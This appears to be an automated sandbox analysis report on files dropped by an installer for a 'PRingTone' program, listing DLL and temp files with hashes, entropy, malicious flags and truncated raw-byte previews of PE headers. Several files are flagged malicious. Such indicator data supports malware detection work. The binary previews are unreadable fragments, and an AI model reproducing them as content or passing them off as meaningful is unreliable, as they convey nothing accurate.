Preview:	MZ......................@...................................D.... ..PE..L...#.MZ...........!.................p.......0............................................@.........................Pr.......q..d....P..8....................%.......................................................q..8....................................@..........................@..@.rsrc........P......................@..@.............`.........................@petite.......p......................`..`..................................................l..a.......1...3W..Z.....H...5.(...$.. .>X9..Fn... ..."j1..........%.7.d...".m...n.ePY......`....I.gYo..UC....Rq(...F......s..8`.I.....i..F.....'......@..-;.........J...Oq...b@...........$.D4E..($.....8':;.q....[-..{..w....@M....J$..0d..9Q.I^.^y.E..L_-.x!s.......W.H.R..@.6....MQ.Q8.s.."...!."IX.vM...!e.$%......U.....F.CoI..X.dA...0.Y..r.8.*p...<..M y...8..s....N5<.J....&..`...w..'..\s..%..A.`....s..j.H...X#..R.\..)R3@..X.P.5...G..t.f/..C.b.d...\|.

C:\Program Files (x86)\PRingTone\bin\x86\bassflac.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36752
Entropy (8bit):	7.780431937344781
Encrypted:	false
SSDEEP:	768:E7epCl6I8YbTvEKXQ2vm+iocmmMt7KjuDnlVahRlmftuY5B:EepUv8aZvmd+7nDDalauy
MD5:	9FF783BB73F8868FA6599CDE65ED21D7
SHA1:	F515F91D62D36DC64ADAA06FA0EF6CF769376BDF
SHA-256:	E0234AF5F71592C472439536E710BA8105D62DFA68722965DF87FED50BAB1816
SHA-512:	C9D3C3502601026B6D55A91C583E0BB607BFC695409B984C0561D0CBE7D4F8BD231BC614E0EC1621C287BF0F207017D3E041694320E692FF00BC2220BFA26C26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b...........!.........n.......................................................B....@.........................P...........d.......@............s.......x..........................................................8............................................j..................@..@.rsrc.... ...........l..............@..@petite...............p..............`..`..................8..u...I.x\|}...g{...@..ffe.c4.-.Bj..........U.J.`..s.N:`..I@;..B.kbmj..E%2. `....".]&.&.).BB...E..4u'.....Q.......%....V.............5...y....E..q<w.....j...B..O...p.....X...m...= .X..........4........~~.8.F@.V...6....;?.5..)S.m.9U......^.zO!1o.F.E. ...H=`2...9.(...4).E.!G..;R.1.#.h0..(..t8..O...Td.d..~...l.a..U...b<../..W....M6...U*G..II.x........>..I[...v.N/.V..3..Y.c...Zh.i..i.....n....M..D....5o."....(.9.+..z...._$t.T...X#\...N....Q%...>U..\|....J

C:\Program Files (x86)\PRingTone\bin\x86\bassmidi.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36416
Entropy (8bit):	7.842278356440954
Encrypted:	false
SSDEEP:	768:lshkyPXvH6bPACtmb8boNQdVfCXewki/OvXEApOqmFfSq1oIQMW:lsh3n5Pb8boOdVCuwNEXEAonfSq1JQb
MD5:	BEBA64522AA8265751187E38D1FC0653
SHA1:	63FFB566AA7B2242FCC91A67E0EDA940C4596E8E
SHA-256:	8C58BC6C89772D0CD72C61E6CF982A3F51DEE9AAC946E076A0273CD3AAF3BE9D
SHA-512:	13214E191C6D94DB914835577C048ADF2240C7335C0A2C2274C096114B7B75CD2CE13A76316963CCD55EE371631998FAC678FCF82AE2AE178B7813B2C35C6651
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L....}.Q...........!................6 ............`..........................0......................................d#.......!..........@...................t...........................................................................................................................`....rsrc...........@...................@..@....................................@................ ......................`.......................................X...{.......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!... c.f.`P....h.p..j..P..C.h..`..<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I.....................]...............'..................................A...%...........

C:\Program Files (x86)\PRingTone\bin\x86\bassmix.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19008
Entropy (8bit):	7.672481244971812
Encrypted:	false
SSDEEP:	384:dz7otnjFa4ECX3yeGjA+tSXGnUav92hca+XWRlsuG+is:po7GU+szS3W7sQ7
MD5:	8EE91149989D50DFCF9DAD00DF87C9B0
SHA1:	E5581E6C1334A78E493539F8EA1CE585C9FFAF89
SHA-256:	3030E22F4A854E11A8AA2128991E4867CA1DF33BC7B9AFF76A5E6DEEF56927F6
SHA-512:	FA04E8524DA444DD91E4BD682CC9ADEE445259E0C6190A7DEF82B8C4478A78AAA8049337079AD01F7984DBA28316D72445A0F0D876F268A062AD9B8FF2A6E58D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L....+vS...........!....6...6.......6........p......................................................................0..........P.......@...................tM.......................................................................................................>..................`....rsrc...........@....H..............@..@....................................@...........6...........................`.......................................D...n'......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!......f.`P....h.5..j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X............f.......Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I..K..........(...\|...}K...................E..K....p..j...g........Q..........y...........

C:\Program Files (x86)\PRingTone\bin\x86\bassopus.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68876
Entropy (8bit):	7.922125376804506
Encrypted:	false
SSDEEP:	1536:q0Z4sz1ZMjCjDIhoLffiedENahBzzxO/JfgmYFGKEvi8TxCI+vHVl:v4MzMjGkhoLfsahS/JYN2vUl
MD5:	4E35BA785CD3B37A3702E577510F39E3
SHA1:	A2FD74A68BEFF732E5F3CB0835713AEA8D639902
SHA-256:	0AFE688B6FCA94C69780F454BE65E12D616C6E6376E80C5B3835E3FA6DE3EB8A
SHA-512:	1B839AF5B4049A20D9B8A0779FE943A4238C8FBFBF306BC6D3A27AF45C76F6C56B57B2EC8F087F7034D89B5B139E53A626A8D7316BE1374EAC28B06D23E7995D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L.....U]...........!......................... ............................................@.........................P...........d.......@...............................................................................8...............................................................@..@.rsrc...............................@..@.......................................@petite..............................`..`...........................................&MK#H..OEJ..}??...:..$ayf.r7.w(/.d`...A(7.%p.f.>\..d."..W......[4.0..ZY..... .....~...T....9a+..'.......g!.....l...<..?Y.(..[k.I=....D.....c..=.?.8...D>0...#.ZdO..Z...%......X.P..bS..s..=$...m.N........A......A4..J>Wa.N..K.>....2n8.ii.#....y#.J ....i!...a7..Pbl@B.%h0..8RSr.........]..z.\...x..e..5.3.$h. <G.3....-......Q....O0..,......Y}......@...<...t.H).T..! .....ap......Tj.o...0b...`..yX.. g...hzA...b.7.s$M.... ..'....\$...H.\.l.C g..4..(.6@.Q....B(..

C:\Program Files (x86)\PRingTone\bin\x86\basswma.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17472
Entropy (8bit):	7.524548435291935
Encrypted:	false
SSDEEP:	384:IwwsQD13cT5HhSVeEQNW5kbbcGEh/qTio+lyTnGy:QRD13ySVeEOW5kbSSTHNTnr
MD5:	7B52BE6D702AA590DB57A0E135F81C45
SHA1:	518FB84C77E547DD73C335D2090A35537111F837
SHA-256:	9B5A8B323D2D1209A5696EAF521669886F028CE1ECDBB49D1610C09A22746330
SHA-512:	79C1959A689BDC29B63CA771F7E1AB6FF960552CADF0644A7C25C31775FE3458884821A0130B1BAB425C3B41F1C680D4776DD5311CE3939775A39143C873A6FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L....^.L...........!....%v..%.......6........`......................................................................h..................@....................F...............................................................................................p.......8..................`....rsrc...........@....B..............@..@....................................@...........%...........................`.......................................X...x..0....j...f.!.PRj.....j..S.ERROR!.Corrupt Data!......f.`P....h.,..j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I..D..%...........\|...CC.......p......n....<.......`..............lH......)...............

C:\Program Files (x86)\PRingTone\bin\x86\basswv.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35588
Entropy (8bit):	7.817557274117395
Encrypted:	false
SSDEEP:	768:dCrMZHv56WRldhmLjQDrbfc8cznHvc6modHQ:sAR0LzHvc6m2HQ
MD5:	58521D1AC2C588B85642354F6C0C7812
SHA1:	5912D2507F78C18D5DC567B2FA8D5AE305345972
SHA-256:	452EEE1E4EF2FE2E00060113CCE206E90986E2807BB966019AC4E9DEB303A9BD
SHA-512:	3988B61F6B633718DE36C0669101E438E70A17E3962A5C3A519BDECC3942201BA9C3B3F94515898BB2F8354338BA202A801B22129FC6D56598103B13364748C1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L.....yX...........!.................@.......................................P............@.........................PB.......A..d.... ..@...................P........................................................A..8...............................................................@..@.rsrc........ ......................@..@.............0.........................@petite.......@......................`..`...................................._3.....g.ge..7t...R-_.R.@c.S.\..J?L.EZ.,....=H8..;.QJ.....P-)eFs93:.^...f......}..?...e...SD.......-.u.......q2...P...6..z5.T.S..P..Q....@..Mq.>....8" F...,..FE...S.[U..c......jr....b...-%...`......w..+W.C......]..#......LS....W.Y....o.8...i.[)..%(.2.t...YY .bL.....b.@&J,?l.........$..F..&...a#.\[".^...&]co....K.>...xQzw..XW.uT..+dm.o.b...@c....3..r....@]...P........{C/.....A!.&..........'....._..."S..&..F.......:.dxtK.6...7.I...Q..Nm2.....NX..fG..L..7.?..".(

C:\Program Files (x86)\PRingTone\bin\x86\copying (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.1208137218866945
Encrypted:	false
SSDEEP:	24:LLDrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:LLDaJHlxE35QHOs5exm3ogF5n
MD5:	B7EDCC6CB01ACE25EBD2555CF15473DC
SHA1:	2627FF03833F74ED51A7F43C55D30B249B6A0707
SHA-256:	D6B4754BB67BDD08B97D5D11B2D7434997A371585A78FE77007149DF3AF8D09C
SHA-512:	962BD5C9FB510D57FAC0C3B189B7ADEB29E00BED60F0BB9D7E899601C06C2263EDA976E64C352E4B7C0AAEFB70D2FCB0ABEF45E43882089477881A303EB88C09
Malicious:	false
Preview:	Copyright (c) 2011 Jan Kokem.ller..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTION WITH

C:\Program Files (x86)\PRingTone\bin\x86\d_writer.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	16910
Entropy (8bit):	5.289608933932413
Encrypted:	false
SSDEEP:	384:ohtyjknGC7hipL+9mLYFOozxkdlDNUwS5Qq:UGknGC74l+MUFI7C
MD5:	2F040608E68E679DD42B7D8D3FCA563E
SHA1:	4B2C3A6B8902E32CDA33A241B24A79BE380C55FC
SHA-256:	6B980CADC3E7047CC51AD1234CB7E76FF520149A746CB64E5631AF1EA1939962
SHA-512:	718AF5BE259973732179ABA45B672637FCA21AE575B4115A62139A751C04F267F355B8F7F7432B56719D91390DABA774B39283CBCFE18F09CA033389FB31A4FC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........B.........#.........>...f...........0.....h......................... ................ .........................{.......\|...............................$...........................pA.......................................................text...4...........................`.P`.data...<....0......."..............@.0..rdata.......@.......$..............@.`@/4...........P.......(..............@.0@.bss.....d...`........................`..edata..{............2..............@.0@.idata..\|............4..............@.0..CRT....,............:..............@.0..tls.................<..............@.0..reloc..$............>..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\da.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	15374
Entropy (8bit):	5.192037544202194
Encrypted:	false
SSDEEP:	384:lhgkOI7BGi9gKV6uq+u6JewsNhNXUwSCgQ:DT7BGVKPKbXF
MD5:	BEFD36FE8383549246E1FD49DB270C07
SHA1:	1EF12B568599F31292879A8581F6CD0279F3E92A
SHA-256:	B5942E8096C95118C425B30CEC8838904897CDEF78297C7BBB96D7E2D45EE288
SHA-512:	FD9AA6A4134858A715BE846841827196382D0D86F2B1AA5C7A249B770408815B0FE30C4D1E634E8D6D3C8FEDBCE4654CD5DC240F91D54FC8A7EFE7CAE2E569F4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........<.........#.........8...............0.....f................................b......... ......................p..E.......h...........................................................P@......................................................text...............................`.P`.data...,....0....... ..............@.0..rdata.......@......."..............@.0@/4...........P.......$..............@.0@.bss.........`........................`..edata..E....p......................@.0@.idata..h............0..............@.0..CRT....,............6..............@.0..tls.................8..............@.0..reloc...............:..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\daiso.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	197646
Entropy (8bit):	6.1570532273946625
Encrypted:	false
SSDEEP:	3072:brPGp0y4SP+iBGgySYm+dE3sYrJqkAzhU88vsAGSW+:brPGaTEsHSYmbbOU8osAGG
MD5:	2C8EC61630F8AA6AAC674E4C63F4C973
SHA1:	64E3BB9AA505C66E87FE912D4EA3054ADF6CEF76
SHA-256:	DFD55D0DDD1A7D081FCE8E552DC29706A84DC6CA2FDD2F82D63F33D74E882849
SHA-512:	488378012FB5F477ED4636C37D7A883B1DAD0FBC671D238B577A9374EFE40AB781F5E483AE921F1909A9B7C1C2A3E78E29B533D3B6FFE15AAEE840CAD2DCF5D0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...............................m................................]_........ ...................... ..A....0...............................`..............................p0.......................1..D............................text...............................`.P`.data...............................@.0..rdata..L0.......2..................@.`@/4...........P......................@.0@.bss..................................`..edata..A.... ......................@.0@.idata.......0......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..reloc.......`......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\dsd2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	31936
Entropy (8bit):	6.6461204214578
Encrypted:	false
SSDEEP:	768:SEEn30ilOAb++HynTDbc3fwaVCPxWE/MM:SEa0YOU1HgU3fwaVCPxqM
MD5:	72E3BDD0CE0AF6A3A3C82F3AE6426814
SHA1:	A2FB64D5B9F5F3181D1A622D918262CE2F9A7AA3
SHA-256:	7AC8A8D5679C96D14C15E6DBC6C72C260AAEFB002D0A4B5D28B3A5C2B15DF0AB
SHA-512:	A876D0872BFBF099101F7F042AEAF1FD44208A354E64FC18BAB496BEEC6FDABCA432A852795CFC0A220013F619F13281B93ECC46160763AC7018AD97E8CC7971
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........P.........#.....&...L...............@.....d................................8......... .........................b............................P...,...................................R......................x................................text....%.......&..................`.P`.data........@.......*..............@.`..rdata.......P.......,..............@.0@/4...........`.......2..............@.0@.bss.........p........................`..edata..b............>..............@.0@.idata...............@..............@.0..CRT....,............H..............@.0..tls.................J..............@.0..reloc...............L..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\dsd2pcmt.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	197120
Entropy (8bit):	6.423554884287906
Encrypted:	false
SSDEEP:	6144:X+dMKihenEUunaA+mVMISPCG5vHglwiaJVZkRyAHeOdrQpCklkHy+axeY0R2JdXs:MagxOOZWP2dC28d+y2e
MD5:	67247C0ACA089BDE943F802BFBA8752C
SHA1:	508DA6E0CF31A245D27772C70FFA9A2AE54930A3
SHA-256:	BAB8D388EA3AF1AABB61B8884CFAA7276A2BFD77789856DD610480C55E4D0A60
SHA-512:	C4A690A53581D3E4304188FD772C6F1DA1C72ED2237A13951ACE8879D1986423813A6F7534FF506790CB81633CEB7FF6A6239C1F852725FBACA4B40D9AE3F2DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d,.. M.. M.. M..4&..-M..4&...M..4&..3M..r8...M..r8../M..r8..1M..4&..#M.. M.._M..v8..$M..v8..!M..v8..!M..v8..!M..Rich M..........PE..L... ..a...........!.........................................................@............@.........................@...p.......(............................ ..(...P...8...............................@...............H............................text...>........................... ..`.rdata..d...........................@..@.data...H...........................@....rsrc...............................@..@.reloc..(.... ......................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\dstt.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.401537154757194
Encrypted:	false
SSDEEP:	3072:rY4gILp0Vt7BMkvfHutO+eP0ZjflQf5xqkYXeo21sb2rqG70:rY4gILp0Vt77nLBCtQfjqv8qG70
MD5:	840D631DA54C308B23590AD6366EBA77
SHA1:	5ED0928667451239E62E6A0A744DA47C74E1CF89
SHA-256:	6BAD60DF9A560FB7D6F8647B75C367FDA232BDFCA2291273A21179495DAC3DB9
SHA-512:	1394A48240BA4EF386215942465BDE418C5C6ED73FC935FE7D207D2A1370155C94CDC15431985ED4E656CA6B777BA79FFC88E78FA3D99DB7E0E6EAC7D1663594
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?..R{...{...{...o...q...o.......o...i...)...W...)...t...)...j...o...x...{.......-...s...-...z...-.4.z...-...z...Rich{...........PE..L....H.a...........!.....$...........h.......@............................... ............@.............................x.......(.......................................8..............................@............@..D............................text....#.......$.................. ..`.rdata...x...@...z...(..............@..@.data.... ..........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\ff_helper.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	62478
Entropy (8bit):	6.063363187934607
Encrypted:	false
SSDEEP:	768:q3s6+NMpjqudP/XB9rGCWLEc6wY3U0LvDcb0wGNPdqdRJy/5f4mdajO42iySAqB:q8zNM1nBId/ce7GNP6m/5AQGySAs
MD5:	940EEBDB301CB64C7EA2E7FA0646DAA3
SHA1:	0347F029DA33C30BBF3FB067A634B49E8C89FEC2
SHA-256:	B0B56F11549CE55B4DC6F94ECBA84AEEDBA4300D92F4DC8F43C3C9EEEFCBE3C5
SHA-512:	50D455C16076C0738FB1FECAE7705E2C9757DF5961D74B7155D7DFB3FAB671F964C73F919CC749D100F6A90A3454BFF0D15ED245A7D26ABCAA5E0FDE3DC958FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...............................k.........................`................ .........................r.......D............................P..\|.......................................................\............................text...............................`.P`.data...0...........................@.0..rdata..8...........................@.`@/4......L...........................@.0@.bss..................................`..edata..r...........................@.0@.idata..D...........................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc..\|....P......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\gain_analysis.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	26126
Entropy (8bit):	6.048294343792499
Encrypted:	false
SSDEEP:	384:hhkxE9v7/GRm4v5OxlBWaEybb9p7aCyS/hU7CateHcUwSCnq6D:Yx6jGXvc5WaBb99yS/hQh
MD5:	D1223F86EDF0D5A2D32F1E2AAAF8AE3F
SHA1:	C286CA29826A138F3E01A3D654B2F15E21DBE445
SHA-256:	E0E11A058C4B0ADD3892E0BEA204F6F60A47AFC86A21076036393607235B469C
SHA-512:	7EA1FFB23F8A850F5D3893C6BB66BF95FAB2F10F236A781620E9DC6026F175AAE824FD0E03082F0CF13D05D13A8EEDE4F5067491945FCA82BBCDCF68A0109CFF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........f.........#.....6...b...............P.....h................................8-........ .........................i...................................................................Lk......................................................text....4.......6..................`.P`.data...,....P.......:..............@.0..rdata.......`.......<..............@.`@/4......T....p.......J..............@.0@.bss..................................`..edata..i............V..............@.0@.idata...............X..............@.0..CRT....,............^..............@.0..tls.................`..............@.0..reloc...............b..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-2O9C4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	123406
Entropy (8bit):	6.263889638223575
Encrypted:	false
SSDEEP:	1536:hnPkU1t2P2hHV5JG1YBBAUBEd8+poyez9djcx2/8s6UJqfxX+1XOAhbKzb3+d:xPu21IYyCTToE6c+6e+d
MD5:	B49ECFA819479C3DCD97FAE2A8AB6EC6
SHA1:	1B8D47D4125028BBB025AAFCA1759DEB3FC0C298
SHA-256:	B9D5317E10E49AA9AD8AD738EEBE9ACD360CC5B20E2617E5C0C43740B95FC0F2
SHA-512:	18617E57A76EFF6D95A1ED735CE8D5B752F1FB550045FBBEDAC4E8E67062ACD7845ADC6FBE62238C383CED5E01D7AA4AB8F968DC442B67D62D2ED712DB67DC13
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................R.......d>..........p....@...........................@......^........ ...............................@.4...................................................................................\|.@.@............................text....Q.......R..................`.P`.data...\....p.......V..............@.@..rdata...a.......b...X..............@.`@/4..................................@.0@.bss.....c>...........................`..idata..4.....@.....................@.0..CRT....4.....@.....................@.0..tls..........@.....................@.0.................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-3IMHN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	648384
Entropy (8bit):	6.666474522542094
Encrypted:	false
SSDEEP:	12288:gAQxmcOwzIYhoz/eZz4gOIwEODAAwnq6Nql1:gvmfAI6oz/uOIyDAAwDNql1
MD5:	CE7DE939D74321A7D0E9BDF534B89AB9
SHA1:	56082B4E09A543562297E098A36AADC3338DEEC5
SHA-256:	A9DC70ABB4B59989C63B91755BA6177C491F6B4FE8D0BFBDF21A4CCF431BC939
SHA-512:	03C366506481B70E8BF6554727956E0340D27CB2853609D6210472AEDF4B3180C52AAD9152BC2CCCBA005723F5B2E3B5A19D0DCE8B8D1E0897F894A4BFEEFE55
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...".t.........................g.........................0................ ..........................................................,.......=..........................,=.......................................................text....r.......t..................`.P`.data............ ...x..............@.`..rdata..L...........................@.`@/4...................\..............@.0@.bss..................................`..edata...............`..............@.0@.idata...............j..............@.0..CRT....,............v..............@.0..tls.................x..............@.0..reloc...=.......>...z..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-3UH5L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	197646
Entropy (8bit):	6.1570532273946625
Encrypted:	false
SSDEEP:	3072:brPGp0y4SP+iBGgySYm+dE3sYrJqkAzhU88vsAGSW+:brPGaTEsHSYmbbOU8osAGG
MD5:	2C8EC61630F8AA6AAC674E4C63F4C973
SHA1:	64E3BB9AA505C66E87FE912D4EA3054ADF6CEF76
SHA-256:	DFD55D0DDD1A7D081FCE8E552DC29706A84DC6CA2FDD2F82D63F33D74E882849
SHA-512:	488378012FB5F477ED4636C37D7A883B1DAD0FBC671D238B577A9374EFE40AB781F5E483AE921F1909A9B7C1C2A3E78E29B533D3B6FFE15AAEE840CAD2DCF5D0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...............................m................................]_........ ...................... ..A....0...............................`..............................p0.......................1..D............................text...............................`.P`.data...............................@.0..rdata..L0.......2..................@.`@/4...........P......................@.0@.bss..................................`..edata..A.... ......................@.0@.idata.......0......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..reloc.......`......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-4ABIC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	258560
Entropy (8bit):	6.491223412910377
Encrypted:	false
SSDEEP:	6144:X+FRYMGwNozw5upAagZnb80OXrGSc+w9nI7ZMcyVhk233M:SGMGbw5upAagZb80SMXzkgM
MD5:	DB191B89F4D015B1B9AEE99AC78A7E65
SHA1:	8DAC370768E7480481300DD5EBF8BA9CE36E11E3
SHA-256:	38A75F86DB58EB8D2A7C0213861860A64833C78F59EFF19141FFD6C3B6E28835
SHA-512:	A27E26962B43BA84A5A82238556D06672DCF17931F866D24E6E8DCE88F7B30E80BA38B071943B407A7F150A57CF1DA13D2137C235B902405BEDBE229B6D03784
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B.j..f...f...f..]....f..]...f..]....f......f......f......f......f..]....f...f..]f......f......f......f...f...f......f..Rich.f..........PE..L...y.._...........!................@........ ...............................@..........................................d...$...(.......h.................... ......................................(...@............ ..8............................text...q........................... ..`asmcode.>$.......&.................. ..`.rdata..B.... ......................@..@.data...............................@....rsrc...h...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

